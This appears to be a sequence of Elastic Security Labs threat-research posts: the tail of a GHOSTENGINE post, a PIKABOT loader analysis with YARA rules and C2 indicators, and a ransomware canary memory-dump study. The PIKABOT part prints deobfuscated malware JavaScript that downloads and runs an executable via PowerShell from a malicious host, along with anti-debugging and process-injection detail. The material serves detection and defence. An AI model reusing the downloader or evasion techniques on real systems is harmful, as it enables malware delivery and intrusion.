
Malicious Files Prevention :

Shellcode Injection Prevention:

Vulnerable Drivers file creation prevention (Windows.VulnDriver.ArPot and Windows.VulnDriver.IoBitUnlocker )

YARA

Elastic Security has created YARA rules to identify this activity.

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

| Observable | Type | Name | Reference | |------------------------------------------------------------------|-----------|-------------------------------------------------------------|------------------------------------| | 2fe78941d74d35f721556697491a438bf3573094d7ac091b42e4f59ecbd25753 | SHA-256 | C:\Windows\Fonts\smartsscreen.exe | GHOSTENGINE EDR controller module | | 4b5229b3250c8c08b98cb710d6c056144271de099a57ae09f5d2097fc41bd4f1 | SHA-256 | C:\Windows\System32\drivers\aswArPots.sys | Avast vulnerable driver | | 2b33df9aff7cb99a782b252e8eb65ca49874a112986a1c49cd9971210597a8ae | SHA-256 | C:\Windows\System32\drivers\IObitUnlockers.sys | Iobit vulnerable driver | | 3ced0552b9ecf3dfecd14cbcc3a0d246b10595d5048d7f0d4690e26ecccc1150 | SHA-256 | C:\Windows\System32\oci.dll | Update/Persistence module (64-bit) | | 3b2724f3350cb5f017db361bd7aae49a8dbc6faa7506de6a4b8992ef3fd9d7ab | SHA-256 | C:\Windows\System32\oci.dll | Update/Persistence module (32-bit) | | 35eb368c14ad25e3b1c58579ebaeae71bdd8ef7f9ccecfc00474aa066b32a03f | SHA-256 | C:\Windows\Fonts\taskhostw.exe | Miner client | | 786591953336594473d171e269c3617d7449876993b508daa9b96eedc12ea1ca | SHA-256 | C:\Windows\Fonts\config.json | Miner configuration file | | 11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5 | SHA-256 | C:\Windows\Fonts\WinRing0x64.sys | Miner driver | | aac7f8e174ba66d62620bd07613bac1947f996bb96b9627b42910a1db3d3e22b | SHA-256 | C:\ProgramData\Microsoft\DeviceSync\SystemSync\Tiworker.exe | Initial stager | | 6f3e913c93887a58e64da5070d96dc34d3265f456034446be89167584a0b347e | SHA-256 | backup.png | GHOSTENGINE backdoor module | | 7c242a08ee2dfd5da8a4c6bc86231985e2c26c7b9931ad0b3ea4723e49ceb1c1 | SHA-256 | get.png | GHOSTENGINE loader | | cc4384510576131c126db3caca027c5d159d032d33ef90ef30db0daa2a0c4104 | SHA-256 | kill.png | GHOSTENGINE EDR termination module | | download.yrnvtklot[.]com | domain | | C2 server | | 111.90.158[.]40 | ipv4-addr | | C2 server | | ftp.yrnvtklot[.]com | domain | | C2 server | | 93.95.225[.]137 | ipv4-addr | | C2 server | | online.yrnvtklot[.]com | domain | | C2 server |

References

The following were referenced throughout the above research:

https://www.antiy.com/response/HideShoveling.html

PIKABOT, I choose you!

Daniel Stepanic,Salim Bitam — Sat, 24 Feb 2024 00:00:00 GMT

PIKABOT at a glance

PIKABOT is a widely deployed loader malicious actors utilize to distribute payloads such as Cobalt Strike or launch ransomware. On February 8th, the Elastic Security Labs team observed new PIKABOT campaigns, including an updated variant. This version of the PIKABOT loader uses a new unpacking method and heavy obfuscation. The core module has added a new string decryption implementation, changes to obfuscation functionality, and various other modifications.

This post will highlight the initial campaign, break down the new loader functionality, and review the core components. There are interesting design choices in this new update that we think are the start of a new codebase that will make further improvements over time. While the functionality is similar to previous builds, these new updates have likely broken signatures and previous tooling.

During the development of this research, the ThreatLabz team at Zscaler released great analysis and insights into a sample overlapping with those in this post. We suggest reading their work along with ours to understand these PIKABOT changes comprehensively.

Key takeaways

Fresh campaigns involving significant updates to the PIKABOT loader and core components
PIKABOT loader uses a new unpacking technique of combining scattered chunks of encrypted data in base64 format from .data section
Changes in the core include toned-down obfuscation and in-line RC4 functions, plaintext configuration at runtime, removal of AES during network communications
PIKABOT development appears as a work-in-progress, with future updates likely imminent
Call-stack visibility using Elastic Security provides the ability to triage threats like PIKABOT rapidly

PIKABOT campaign overview

As the new year started, PIKABOT distribution remained inactive until approximately two weeks ago. This new campaign on February 8th involved emails with hyperlinks that led to ZIP archive files containing a malicious obfuscated Javascript script.

Below are the contents of the obfuscated JavaScript file, showing the next sequence to download and execute PIKABOT’s loader using PowerShell.

// deobfuscated
var sites = ['https://gloverstech[.]com/tJWz9/', '', '']
for (var i = 0x0; i < 3; i++)
{
    var obj = new ActiveXObject("WScript.Shell")
    obj['Run']("powershell Invoke-WebRequest https://gloverstech[.]com/tJWz9/0.2343379541861872.dat -OutFile %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe; saps %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe")
}

PIKABOT loader

Loader stage 1

To appear authentic, the developer tampered with a legitimate search and replace tool called grepWinNP3.exe from this repository. Using our internal sandboxing project (Detonate) and leveraging Elastic Defend’s call stack feature provided a detailed trace of the execution, allowing us to pinpoint the entry point of malicious code.

An analysis of the call stack data reveals that execution begins at a call before offset 0x81aa7 within the malicious file; the execution then leaps to a memory allocation at a call prior to offset 0x25d84. Furthermore, it was observed that the process creation call stack is missing normal calls to KernelBase.dll!CreateProcessInternalW and ntdll.dll!NtCreateUserProcess, due to the use of a syscall via shellcode execution residing in the unbacked memory. By using this implementation, it will bypass user-mode hooks on WOW64 modules to evade EDR products.

Looking into the offset 0x81aa7 of the malicious file and conducting a side-by-side code comparison with a verified, benign version of the grepWinNP3.exe file, we identified something distinct and unusual: a hardcoded address to execute the PIKABOT loader, this marks the entrypoint of the PIKABOT loader.

The malicious code employs heavy obfuscation, utilizing a technique where a jump (JMP) follows each assembly instruction. This approach significantly complicates analysis by disrupting the straightforward flow of execution.

The loader extracts its stage 2 payload from the .text section, where it is stored in chunks of 0x94 bytes, before consolidating the pieces. It then employs a seemingly custom decryption algorithm, which utilizes bitwise operations.

The next step of the process is to reflectively load the PE file within the confines of the currently executing process. This technique involves dynamically loading the PE file's contents into memory and executing it, without the need for the file to be physically written to disk. This method not only streamlines the execution process by eliminating the necessity for external file interactions but also significantly enhances stealth by minimizing the digital footprint left on the host system.

Loader stage 2

The stage 2 loader, tasked with initializing the PIKABOT core within a newly established process, employs a blend of code and string obfuscation techniques similar to those found in the core itself. In addition to its obfuscation capabilities, the loader incorporates a series of advanced anti-debugging countermeasures.

Anti-debugging

The malware utilizes specific NTDLL Zw APIs for a variety of operations, including debugger detection, process creation, and injection, aiming to stay under the radar of detection mechanisms and evade EDR (Endpoint Detection and Response) user-land hooking, as well as debugging attempts.

It executes syscalls directly, bypassing conventional API calls that are more susceptible to monitoring and interception. It uses a wrapper function that facilitates the execution of syscalls in 64-bit mode which takes a hash of a Zw API name as a parameter.

The wrapper function extracts the syscall ID by parsing the loaded NTDLL and matching the hash of the Zw function name. After finding the correct syscall ID, it uses the Wow64Transition Windows API to execute the syscall in 64-bit mode.

WoW64Transition" title="Control flow graph showing syscall passed to WoW64Transition" />

Note that the parameters needed are pushed on the stack before the wrapper is called, the following example showcases a ZwQueryInformationProcess call with the ProcessInformationClass set to ProcessDebugPort(7):

The malware employs a series of anti-debugging techniques designed to thwart detection by debugging and forensic tools. These techniques include:

Calling ZwQuerySystemInformation with the SystemKernelDebuggerInformation parameter to detect the presence of kernel debuggers.
Calling ZwQueryInformationProcess with the ProcessInformationClass set to ProcessDebugPort to identify any debugging ports associated with the process.
Calling ZwQueryInformationProcess again, but with the ProcessInformationClass set to ProcessDebugFlags parameter, to ascertain if the process has been flagged for debugging.
Inspecting the Process Environment Block (PEB) for the BeingDebugged flag, which indicates if the process is currently being debugged.
Using GetThreadContext to detect hardware breakpoints. Scanning the list of currently running processes to identify any active debugging or forensic tools.

Interestingly, we discovered a bug where some of the process names it checks have their first byte zeroed out, this could suggest a mistake by the malware’s author or an unwanted side-effect added by the obfuscation tool. The full list of process names that are checked can be found at the end of this article.

Execution

The loader populates a global variable with the addresses of essential APIs from the NTDLL and KERNEL32 libraries. This step is pivotal for the malware's operation, as these addresses are required for executing subsequent tasks. Note that the loader employs a distinct API name hashing algorithm, diverging from the one previously used for Zw APIs.

Below is the reconstructed structure:

struct global_variable
{
  int debugger_detected;
  void* LdrLoadDll;
  void* LdrGetProcedureAddress;
  void* RtlAllocateHeap;
  void* RtlFreeHeap;
  void* RtlDecompressBuffer;
  void* RtlCreateProcessParametersEx;
  void* RtlDestroyProcessParameters;
  void* ExitProcess;
  void* CheckRemoteDebuggerPresent;
  void* VirtualAlloc;
  void* GetThreadContext;
  void* VirtualFree;
  void* CreateToolhelp32Snapshot;
  void* Process32FirstW;
  void* Process32NextW;
  void* ntdll_module;
  void* kernel32_dll;
  int field_48;
  uint8_t* ptr_decrypted_PIKABOT_core;
  int decrypted_PIKABOT_core_size;
  TEB* TEB;
};

Loader structure

The malware then consolidates bytes of the PIKABOT core that are scattered in the .data section in base64-encoded chunks, which is noteworthy when compared to a previous version which loaded a set of PNGs from its resources section.

It executes a sequence of nine distinct functions, each performing similar operations but with varying arguments. Each function decrypts an RC4 key using an in-line process that utilizes strings that appear legitimate. The function then base64 decodes each chunk before decrypting the bytes.

After consolidating the decrypted bytes, it uses the RtlDecompressBuffer API to decompress them.

The loader creates a suspended instance of ctfmon.exe using the ZwCreateUserProcess syscall, a tactic designed to masquerade as a legitimate Windows process. Next, it allocates a large memory region remotely via the ZwAllocateVirtualMemory syscall to house the PIKABOT core's PE file.

Subsequently, the loader writes the PIKABOT core into the newly allocated memory area using the ZwWriteVirtualMemory syscall. It then redirects the execution flow from ctfmon.exe to the malicious PIKABOT core by calling the SetContextThread API to change the thread's execution address. Finally, it resumes the thread with ZwResumeThread syscall.

PIKABOT core

The overall behavior and functionality of the updated PIKABOT core are similar to previous versions: the bot collects initial data from the victim machine and presents the threat actor with command and control access to enable post-compromise behavior such as command-line execution, discovery, or launching additional payloads through injection.

The notable differences include:

New style of obfuscation with fewer in-line functions
Multiple implementations for decrypting strings
Plaintext configuration at runtime, removal of JSON format
Network communication uses RC4 plus byte swapping, removal of AES

Obfuscation

One of the most apparent differences is centered around the obfuscation of PIKABOT. This version contains a drastically less obfuscated binary but provides a familiar feel to older versions. Instead of a barrage of in-line RC4 functions, there are only a few left after the new update. Unfortunately, there is still a great deal of obfuscation applied to global variables and junk instructions.

Below is a typical example of junk code being inserted in between the actual malware’s code, solely to extend analysis time and add confusion.

String Decryption

As mentioned previously, there are still some in-line RC4 functions used to decrypt strings. In previous versions, the core used base64 encoding as an additional step in combination with using AES and RC4 to obscure the strings; in this core version, we haven’t seen base64 encoding or AES used for string decryption.

Here’s an instance of a remaining in-line RC4 function used to decrypt the hardcoded mutex. In this version, PIKABOT continues its trademark use of legitimate strings as the RC4 key to decrypt data.

In this new version, PIKABOT includes a different implementation for string obfuscation by using stack strings and placing individual characters into an array in a randomized order. Below is an example using netapi32.dll:

netapi32.dll" title="Stack string placement using netapi32.dll" />

Anti-debugging

In terms of anti-debugging in this version, PIKABOT checks the BeingDebuggedFlag in the PEB along with using CheckRemoteDebuggerPresent. In our sample, a hardcoded value (0x2500) is returned if a debugger is attached. These checks unfortunately are not in a single place, but scattered in different places throughout the binary, for example right before network requests are made.

Execution

Regarding execution and overall behaviors, PIKABOT’s core closely follows the execution flow of older versions. Upon execution, PIKABOT parses the PEB and uses API hashing to resolve needed libraries at runtime. Next, it validates the victim machine by verifying the language identifier using GetUserDefaultLangID. If the LangID is set to Russian (0x419) or Ukranian (0x422), the malware will immediately stop its execution.

After the language check, PIKABOT creates a mutex to prevent reinfection on the same machine. Our sample used the following mutex: {6F70D3AF-34EF-433C-A803-E83654F6FD7C}

Next, the malware will generate a UUID from the victim machine using the system volume number in combination with the hostname and username. PIKABOT will then generate a unique RC4 key seeded by RtlRandomEx and then place the key into the config structure to be used later during its network communications.

Initial Collection

The next phase involves collecting victim machine information and placing the data into a custom structure that will then be encrypted and sent out after the initial check-in request. The following actions are used to fingerprint and identify the victim and their network:

Retrieves the name of the user associated with the PIKABOT thread
Retrieves the computer name
Gets processor information
Grabs display device information using EnumDisplayDevicesW
Retrieves domain controller information using DsGetDcNameW
Collects current usage around physical and virtual memory using GlobalMemoryStatusEx
Gets the window dimensions using GetWindowRect used to identify sandbox environments
Retrieves Windows OS product information using RtlGetVersion
Uses CreateToolhelp32Snapshot to retrieve process information

Config

One strange development decision in this new version is around the malware configuration. At runtime, the configuration is in plaintext and located in one spot in memory. This does eventually get erased in memory. We believe this will only temporarily last as previous versions protected the configuration and it has become a standard expectation when dealing with prevalent malware families.

Network

PIKABOT performs network communication over HTTPS on non-traditional ports (2967, 2223, etc) using User-Agent Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro). The build number of the PIKABOT core module is concatenated together from the config and can be found being passed within the encrypted network requests, the version we analyzed is labeled as 1.8.32-beta.

On this initial check-in request to the C2 server, PIKABOT registers the bot while sending the previously collected information encrypted with RC4. The RC4 key is sent in this initial packet at offset (0x10). As mentioned previously, PIKABOT no longer uses AES in its network communications.

POST https://158.220.80.167:2967/api/admin.teams.settings.setIcon HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
User-Agent: Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)
Content-Length: 6778
Host: 158.220.80.167:2967

00001a7600001291000016870000000cbed67c4482a40ad2fc20924a06f614a40256fca898d6d2e88eecc638048874a8524d73037ab3b003be6453b7d3971ef2d449e3edf6c04a9b8a97e149a614ebd34843448608687698bae262d662b73bb316692e52e5840c51a0bad86e33c6f8926eb850c2...

PIKABOT initial check-in request

For each outbound network request, PIKABOT randomly chooses one of the following URI’s:

/api/admin.conversations.convertToPrivate
/api/admin.conversations.getConversationPrefs
/api/admin.conversations.restrictAccess.removeGroup
/api/admin.emoji.add
/api/admin.emoji.addAlias
/api/admin.emoji.list
/api/admin.inviteRequests.approved.list
/api/admin.teams.admins.list
/api/admin.teams.settings.setIcon
/api/admin.usergroups.addTeams
/api/admin.users.session.reset
/api/apps.permissions.users.list

List of URI’s used in PIKABOT C2 requests

Unlike previous versions by which victim data was placed in a structured format using JSON, the data within these requests are raw bytes. The first 16 bytes are used to pass specific config information (bot command ID, byte shift, etc). The next 32-bytes embed the RC4 key for the session where then the encrypted data is followed in the request.

There is one additional transformation where the developers added a random shift of bytes that occurs at runtime. This number (0x18) at offset (0xF) in the example request below represents the number of bytes to shift from the end of the encrypted data to the start of the encrypted data. In our example, to successfully decrypt the data, the last 18 bytes would need to be placed in front of bytes (0xDA 0x9E).

Bot Functionality

In terms of the core bot functionality, it is similar to previous versions: executing commands, performing discovery, as well as process injection capabilities. From our perspective, it still seems very much like a work in progress. One command ID (0x982) is an empty function, in another case, there are three unique command ID’s pointed to the same function. These indicate that this software is not quite complete.

| Command ID | Description | |------------|-------------| | 0x1FED | Beacon timeout | | 0x1A5A | Exits the PIKABOT process | | 0x2672 | Includes obfuscation, but appears to not do anything meaningful | | 0x246F | Creates file on disk and modifies registry tied to configuration | | 0xACB | Command-line execution with output | | 0x36C | PE inject in a remote process | | 0x792 | Shellcode inject in a remote process | | 0x359, 0x3A6, 0x240 | Command-line execution similar to 0xACB, uses custom error code (0x1B3) | | 0x985 | Process enumeration, similar to initial victim collection enumeration | | 0x982 | Empty function |

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Detecting malware

Prevention

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify PIKABOT:

rule Windows_Trojan_Pikabot_5441f511 {
    meta:
        author = "Elastic Security"
        creation_date = "2024-02-15"
        last_modified = "2024-02-15"
        license = "Elastic License v2"
        description = "Related to PIKABOT core"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.PIKABOT"

    strings:
        $handler_table = { 72 26 [6] 6F 24 [6] CB 0A [6] 6C 03 [6] 92 07 }
        $api_hashing = { 3C 60 76 ?? 83 E8 20 8B 0D ?? ?? ?? ?? 6B FF 21 }
        $debug_check = { A1 ?? ?? ?? ?? FF 50 ?? 50 50 80 7E ?? 01 74 ?? 83 7D ?? 00 75 ?? }
        $checksum = { 55 89 E5 8B 55 08 69 02 E1 10 00 00 05 38 15 00 00 89 02 5D C3 }
        $load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
        $read_xbyte_config = { 8B 43 04 8B 55 F4 B9 FC FF FF FF 83 C0 04 29 D1 01 4B 0C 8D 0C 10 89 4B 04 85 F6 ?? ?? 89 16 89 C3 }
    condition:
        2 of them
}

rule Windows_Trojan_Pikabot_95db8b5a {
    meta:
        author = "Elastic Security"
        creation_date = "2024-02-15"
        last_modified = "2024-02-15"
        license = "Elastic License v2"
        description = "Related to PIKABOT loader"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.PIKABOT"

    strings:
        $syscall_ZwQueryInfoProcess = { 68 9B 8B 16 88 E8 73 FF FF FF }
        $syscall_ZwCreateUserProcess = { 68 B2 CE 2E CF E8 5F FF FF FF }
        $load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
        $payload_chunking = { 8A 84 35 ?? ?? ?? ?? 8A 95 ?? ?? ?? ?? 88 84 1D ?? ?? ?? ?? 88 94 35 ?? ?? ?? ?? 02 94 1D ?? ?? ?? ?? }
        $loader_rc4_decrypt_chunk = { F7 FF 8A 84 15 ?? ?? ?? ?? 89 D1 8A 94 1D ?? ?? ?? ?? 88 94 0D ?? ?? ?? ?? 8B 55 08 88 84 1D ?? ?? ?? ?? 02 84 0D ?? ?? ?? ?? 0F B6 C0 8A 84 05 ?? ?? ?? ?? 32 04 32 }
    condition:
        2 of them
}

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

| Observable | Type | Name | Reference | |------------|-------------|-------------|-------------| | 2f66fb872c9699e04e54e5eaef982784b393a5ea260129a1e2484dd273a5a88b | SHA-256 | Opc.zip | Zip archive holding obfuscated Javascript | | ca5fb5814ec62c8f04936740aabe2664b3c7d036203afbd8425cd67cf1f4b79d| SHA-256 | grepWinNP3.exe | PIKABOT loader | | 139.84.237[.]229:2967 | ipv4-addr | | PIKABOT C2 server | | 85.239.243[.]155:5000 | ipv4-addr | | PIKABOT C2 server | | 104.129.55[.]104:2223 | ipv4-addr | | PIKABOT C2 server | | 37.60.242[.]85:9785 | ipv4-addr | | PIKABOT C2 server | | 95.179.191[.]137:5938 | ipv4-addr | | PIKABOT C2 server | | 65.20.66[.]218:5938 | ipv4-addr | PIKABOT C2 server | | 158.220.80[.]157:9785 | ipv4-addr | PIKABOT C2 server | | 104.129.55[.]103:2224 | ipv4-addr | PIKABOT C2 server | | 158.220.80[.]167:2967 | ipv4-addr | PIKABOT C2 server | | entrevientos.com[.]ar | domain | | Hosting infra for zip archive | | gloverstech[.]com | domain | | Hosting infra for PIKABOT loader |

References

The following were referenced throughout the above research:

Appendix

Process Name Checks
tcpview.exe
filemon.exe
autoruns.exe
autorunsc.exe
ProcessHacker.exe
procmon.exe
procexp.exe
idaq.exe
regmon.exe
idaq64.exe


x32dbg.exe
x64dbg.exe
Fiddler.exe
httpdebugger.exe
cheatengine-i386.exe
cheatengine-x86_64.exe
cheatengine-x86_64-SSE4-AVX2.exe


PETools.exe
LordPE.exe
SysInspector.exe
proc_analyzer.exe
sysAnalyzer.exe
sniff_hit.exe
windbg.exe
joeboxcontrol.exe
joeboxserver.exe
ResourceHacker.exe


ImmunityDebugger.exe
Wireshark.exe
dumpcap.exe
HookExplorer.exe
ImportREC.exe

Ransomware in the honeypot: how we capture keys with sticky canary files

Salim Bitam,Christophe Alladoum — Fri, 23 Feb 2024 00:00:00 GMT

TL;DR

At Elastic, we have bi-annual ON Weeks, where engineers break into “hack-a-thon” teams to tackle a technical challenge voted on by the team. This article presents the outcome of yet another Elastic ON Week, where we delved into an innovative application of Elastic Endpoint ransomware protection. Our research used our existing ransomware canary protection, deployed since 7.14, to generate memory snapshots (i.e., data collections that record process information) of the process(es) identified as ransomware. Through analysis of these snapshots, our research illustrated how we could recover critical information for the forensics process and even encryption keys, allowing for complete decryption.

This process memory snapshotting mechanism was added starting with Elastic Defend 8.11, allowing DFIR teams to find memory dumps of ransomware flagged by our ransomware protection, all within Elastic Endpoint’s secure installation folder (by default, $ElasticInstallPath\Endpoint\cache\RansomwareDumps).

Introduction

In 2024, we don't need to explain what ransomware is or the multibillion-dollar industry it's become or explain how even companies with unlimited budgets struggle to contain or prevent it. These adversaries are mature and efficient, often outpacing security functions like forensic and malware analysis.

Current state of protection

Thankfully, over the years, AVs/EDRs have become increasingly better at detecting and preventing ransomware. Among the most common existing mitigations, we find:

Static and dynamic detection by signatures: this is usually performed at various levels (through hashes at a file or ELF/PE section level) and file activity (write access to files with high entropy changes) has the advantage of being easily and rapidly implemented, but are also likely to generate false positives
Reverse engineering: Reversing binaries can expose new ways to interfere with execution, as malware authors implement OS-level fail-safes (for instance, through Mutant objects) and/or network fail-safes (like WANNACRY)
Recovery backups: These are not always thoroughly tested, and even if they’re working there is a risk of data loss between the last backup and the moment of infection
Shadow copies: Somewhat similar to recovery backups, ransomware usually actively locates and attempts to destroy them prior to encrypting files on a system
High entropy and rapid file change: This approach is purely experimental and attempts to detect drastic changes in the file content as an indicator of encryption, however, this is also very false positive (FP) prone
Last cryptography weakness: By far the most complex mitigation, as it requires reverse engineering and cryptographic knowledge, but also luck as adversaries hope that the author rolls their own crypto API (see Elastic's Mark Mager 2019 DEFCON talk for some examples); this approach can’t work against modern OS native cryptographic APIs as long as they’re properly implemented according to documentation

How ransomware (usually) works, and why it matters

It is imperative that we know both what we're protecting against and how it internally operates to be effective. This diverse nature underlines that there may never be a universal solution to combat all ransomware strains. Understanding this diversity also emphasizes the importance of our technique, which provides significant insights about ransomware.

From a high level, the sequence of actions that ransomware executes is usually summarized as such:

Delivery: this can be done in several ways, from social engineering to 0-day/1-day vulnerability exploitation. This approach can also rely on weak passwords to remotely infect targets.
C2 Communication: once the execution starts, the ransomware may communicate with the C2 to exchange configuration and share information about the victim. This step can also leave room for the C2 to have a kill switch in place, preventing further infection
Encryption: after establishing a cryptographic context, the process recursively browses the file system, looks for files with specific extensions, and encrypts them.
Extortion: after sharing the decryption keys with the C2, the ransomware will drop a ransom note and (usually very visibly) notify the infected user of its actions and ways to obtain the decryption key. At that point, all cryptographic context allowing recovery may already be lost
Propagation: if possible, the ransomware may try to infect more systems automatically.

However, looking at it at a lower level reveals that ransomware operates quite uniquely: for example, focusing on the delivery step, the notorious WANNACRY ransomware spread via a vulnerability in the Windows operating system, known as EternalBlue; whereas LOCKBIT variants tend to infect using phishing emails, exploit kits, or by leveraging compromised Remote Desktop Protocol (RDP) credentials.

During this research, it was mostly the 3rd step that interested us as it is usually where detection and prevention can be most effective, such as with our canary protection.

Understanding the Canary files feature in Elastic Endpoint

Originating in Elastic 7.14, Elastic Endpoint ransomware protection uses canary files with the purpose of attempting to honeypot ransomware by (over-)writing some specific files. This provides a high confidence indicator that the culprit process is attempting to encrypt all files.

A canary file acts and looks exactly like any other file - it can have valid content (DOCX, PDF, etc.), hidden, or marked as a system file to avoid user tampering. However, canary files cannot be “fingerprinted” and avoided by ransomware. All of these factors lead to a robust indicator for ransomware access.

Even though canary files are very successful in providing indicators for ransomware, it is hard to be certain on Windows systems that no file has been encrypted before the detection (and, if wanted, termination) occurs. This is not a product defect, it is due to the very structure of how MiniFilters work on Windows. Therefore, even though the attack is thwarted, some files may have been encrypted. Worse, if the process is terminated, the possibility of retrieving the original content may be completely lost.

And this is where our ON Week research began…

Extending our canary protection to generate process snapshots

The basic underlying concept

The idea behind this first research was as follows:

At the kernel level, detect write access attempts to a file with a specific name (our canary)
From userland, generate a process dump of the culprit process attempting the write operation and signal the driver to continue execution as designed
Analyze process dumps

With ON Week being limited to one week, this is the initial time frame we had for developing a prototype.

Implementation

In kernel land

Developing a MiniFilter driver to monitor write access to files with specific names went relatively easily following the well-documented MiniFilter API documentation:

Declare the filter table containing the callbacks we want to install, one for write access when invoking NtWriteFile(), and another for when attempting to write to a mapped section

Create and register the filter, including the file name pattern to monitor and start filtering:

Image 2: Declaring a filename pattern to inspect for the MiniFilter driver Once our filter is registered to the Filter Manager, write accesses will go through our driver’s callbacks when specific syscalls are triggered: by NtWriteFile when a process attempts to write a buffer to a file, or by NtCreateSection() when a process to create a section with file-backed mappings with write access (SECTION_MAP_WRITE)

As we can see either action will result in the invoking process being suspended (call to our function SuspendProcessById) allowing a userland process to snapshot its memory. The following video summarizes all those steps:

In user land

Generating memory dumps is a robust mechanism well anchored into Windows and a significant part of its Error Reporting mechanism - or WER. Through simple and explicit API calls, like MiniDumpWriteDump any user or program may dump (if permission permits) the complete memory layout and content of a target process, along with more information depending on flags passed during invocation such as:

handle information
thread information
unloaded module details and more

A complete reference list of available types can be consulted here.

We decided to use memory dumps, designed for debugging software, to extend our ransomware protection feature's existing canary file capabilities. When ransomware is detected, we generate a complete memory dump before the process is terminated. Using memory dumps against malware has tremendous advantages, including:

Revealing the process memory layout, which is particularly useful when packing has obscured the memory regions
Disclosing all memory contents of the process as it is running, including unwiped memory regions since Windows does not immediately erase memory for performance reasons
Providing stable and safe ways to experiment against malware through emulation

Very quickly, we had a stable and reliable way to detect canary write access and generate complete memory dumps of the ransomware triggering them. Due to time constraints, we selected two popular families to test the analysis phase of our project: NOTPETYA and WANNACRY.

The prototype code can be found here and is not intended for production use. Please experiment at your own risk, using non-production systems.

Real-life examples

Recovering keys from process runtime: the case of NOTPETYA

Why NOTPETYA? It was a good first candidate because it encrypts all files with one random session key. It also uses strong cryptography:

RSA-1024 for the host-level asymmetric encryption key
A unique AES-128 CBC key used for encrypting the files

Using the driver and agent crafted above, we could easily have NOTPETYA (SHA1 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745) run in a contained environment and get a process minidump at a very predictable runtime location.

Our current design causes the driver to capture the writes synchronously, so we know exactly where we are in the process runtime when analyzing dump files. However, we still needed some reverse engineering to learn exactly how the session keys were generated.

Reversing this NOTPETYA DLL proved to be straightforward, which helped us move quickly:

After some initial checks, the DLL attempts to iterate through all the possible drive letters, and for each match (i.e., the letter - such as C:\ exists) a 0x20 thread context will be created to proceed with the encryption

Each thread initializes its own cryptographic context using the Microsoft CryptoAPI; we note the use of AES-CBC 128 bits

Encrypts the files recursively (with a maximum recursion level of 15), dropping the ransom message and destroying the cryptographic context

The file encryption itself is performed using file-backed mappings to overwrite files of specifically targeted extensions:

This leaves us with a very basic stack-based structure for the context:

c
struct _THREAD_CONTEXT { /* sizeof=0x20, align=0x4, mappedto_50) */
  /* 00000000 */ WORD lpswzRootPathName[4];
  /* 00000008 */ HANDLE hProvider;
  /* 0000000C */ PVOID field_C;
  /* 00000010 */ LPVOID pBase64Data;
  /* 00000014 */ HCRYPTPROV hKey;
  /* 00000018 */ DWORD field_18;
  /* 0000001C */ HANDLE hFile;
};

Equipped with that knowledge, we could explore further in the dump. Since we know write accesses were made using kernel32!CreateFileMapping, this means ntdll!NtCreateSection is called, and we can isolate the active thread that triggered the syscall to the canary file:

dx @$curprocess.Threads.Where( t => t.Stack.Frames.First().ToDisplayString().Contains("NtCreateSection") )

As explained previously, we’ve isolated the context session and know it’s located in the stack. From the base pointer to the session context, we can retrieve the cryptographic context from the context structure member _THREAD_CONTEXT.hKey located at offset 0x14.

0:007:x86> dx @$curthread.Stack.Frames[3].Attributes.FrameOffset + 0x10
@$curthread.Stack.Frames[3].Attributes.FrameOffset + 0x10 : 0x518d210
0:007:x86> dps poi(0x518d210) l6
004859a0  003a0043
004859a4  0000005c
004859a8  00538418
004859ac  00000000
004859b0  04060550 
004859b4  0048fc48   <<< hKey
0:007:x86> dps 0048fc48 
0048fc48  74a850c0 rsaenh!CPGenKey
0048fc4c  74a9ad90 rsaenh!CPDeriveKey
0048fc50  74a886c0 rsaenh!CPDestroyKey
0048fc54  74a9c770 rsaenh!CPSetKeyParam
0048fc58  74a898c0 rsaenh!CPGetKeyParam
0048fc5c  74a84c40 rsaenh!CPExportKey
0048fc60  74a86290 rsaenh!CPImportKey
0048fc64  74a99880 rsaenh!CPEncrypt
0048fc68  74a8a500 rsaenh!CPDecrypt
0048fc6c  74a9b5c0 rsaenh!CPDuplicateKey
0048fc70  00538418 
0048fc74  e3155764 <<< hCryptKey
0048fc78  22222222
[...]

The crypto context structures are not made publicly accessible by Microsoft but have been reverse-engineered

struct HCRYPTKEY
{
    void* CPGenKey;
    void* CPDeriveKey;
    void* CPDestroyKey;
    void* CPSetKeyParam;
    void* CPGetKeyParam;
    void* CPExportKey;
    void* CPImportKey;
    void* CPEncrypt;
    void* CPDecrypt;
    void* CPDuplicateKey;
    HCRYPTPROV hCryptProv;
    magic_s *magic; // XOR-ed
};
struct magic_s
{
    key_data_s *key_data;
};

struct key_data_s
{
    void *unknown; // XOR-ed pointer
    uint32_t alg;
    uint32_t flags;
    uint32_t key_size;
    void* key_bytes;
};

From this context, we can extract and decode the location of the AES structure, as the key is known to be 0xE35A172C for 32-bit processes:

0:007:x86> ? e3155764^ 0xE35A172C
Evaluate expression: 5193800 = 004f4048

0:007:x86> dps poi(004f4048 ) l5
0053cdd0  e3152844   // /* +0 */ unknown
0053cdd4  0000660e   // /* +4 */ alg
